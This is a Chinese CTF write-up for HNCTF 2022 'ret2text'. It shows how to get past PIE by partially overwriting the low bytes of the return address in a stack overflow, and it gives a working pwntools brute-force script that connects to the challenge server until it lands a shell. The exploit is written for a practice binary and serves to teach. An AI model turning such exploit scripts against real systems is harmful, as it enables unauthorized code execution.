当前位置: 首页 > web >正文

Partial Overwrite绕过PIE保护-[HNCTF 2022 WEEK2]ret2text

vul 函数里面存在栈溢出

程序自带后门函数

但是程序开了 PIE 保护,程序内存地址加载随机化

我们可以使用 Partial Overwrite 来绕过,利用 PIE 低位 3h 位固定的缺陷

由于内存的页载入机制,PIE 的随机化只能影响到单个内存页。通常来说,一个内存页大小为 0x1000,这就意味着不管地址怎么变,某条指令的后 12 bit,即后 3 个十六进制数是始终不变的。(比如我们这里的 1E5 )  

list = [“x01”,“x11”,“x21”,“x31”,“x41”,“x51”,“x61”,“x71”,“x81”,“x91”,“xa1”,“xb1”,“xc1”,“xd1”,“xe1”,“xf1”]

backdoor 后门函数后四位为 0x11E5 的概率为十六分之一

因为只有后三位是确定的,我们需要碰撞到倒数第四位为 1 的情况

backdoor = b"\xE5" + b"\x11"

为什么要倒着传呢?因为是小端序,我们这里并没有使用 p64 自动打包 。

爆破 exp:

# @author:My6n
# @time:20250526
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')offset = 0x108
backdoor = b"\xE5\x11"
payload = cyclic(offset) + backdoorwhile True:#io = process("./pwn")io = remote('node5.anna.nssctf.cn',21828)try:io.recvuntil(b"It's a easy challenge\n")io.send(payload)io.recv(timeout=3)except Exception as e:print(f"[!] Exception: {e}")io.close()else:print("[+] Got shell!")io.interactive()break

拿到 flag:nssctf{W0w_You_byp@ss3d_PIE_You_are_gr3at!} 

http://www.xdnf.cn/news/9143.html

相关文章:

  • 将docker数据目录迁移到 home目录下
  • 军事大模型及其应用分析
  • 电脑清理重复文件秒扫 + 相似媒体去重 找出空文件夹 / 损坏文件 批量清理
  • 从比分滚动到数据革命:体育数据如何重构我们的观赛体验?
  • 【运维】Zerotier删除节点后的恢复操作指南
  • ASP.NET Core OData 实践——Lesson2增删改查Entity和EntitySet(C#)
  • 三大数据库【字符串连接】与【数据类型转换】对比:Oracle vs MySQL vs SQL Server
  • H310昂达等主板无法开机自启的原因
  • AI时代新词-数字孪生(Digital Twin)
  • 【C++ STL string :深入浅出 从入门到实战】
  • Android设计模式学习总结目录
  • PyTorch入门教程:下载、安装、配置、参数简介、DataLoader(数据迭代器)参数解析与用法合集
  • 能说一下JVM的内存区域吗
  • [De1CTF 2019]SSRF Me
  • OpenSSL 签名格式全攻略:深入解析与应用要点
  • Node.js全局函数详解:定时器与即时回调
  • SCADA|KingSCADA信创4.0-Win10安装过程
  • 全能邮箱全能邮箱:实现邮件管理的自动化!
  • 5月26日复盘-自注意力机制
  • NSSCTF-[安洵杯 2018]boooooom
  • BugKu Web之get
  • Linux之软件包管理器(CentOS系统) —— yum
  • 虚拟机配置桥接,远程工具直接访问
  • Vue3监听对象数组属性变化方法
  • 认知无线电系统中采用能量检测频谱感知
  • Java 树形结构,根据名称搜索
  • 医疗基础大模型在临床工作流程中的应用
  • 【Linux系统】Linux基础指令(一)
  • Node.js全局变量详解:__filename与__dirname
  • 小白场成长之路-计算机网络(三)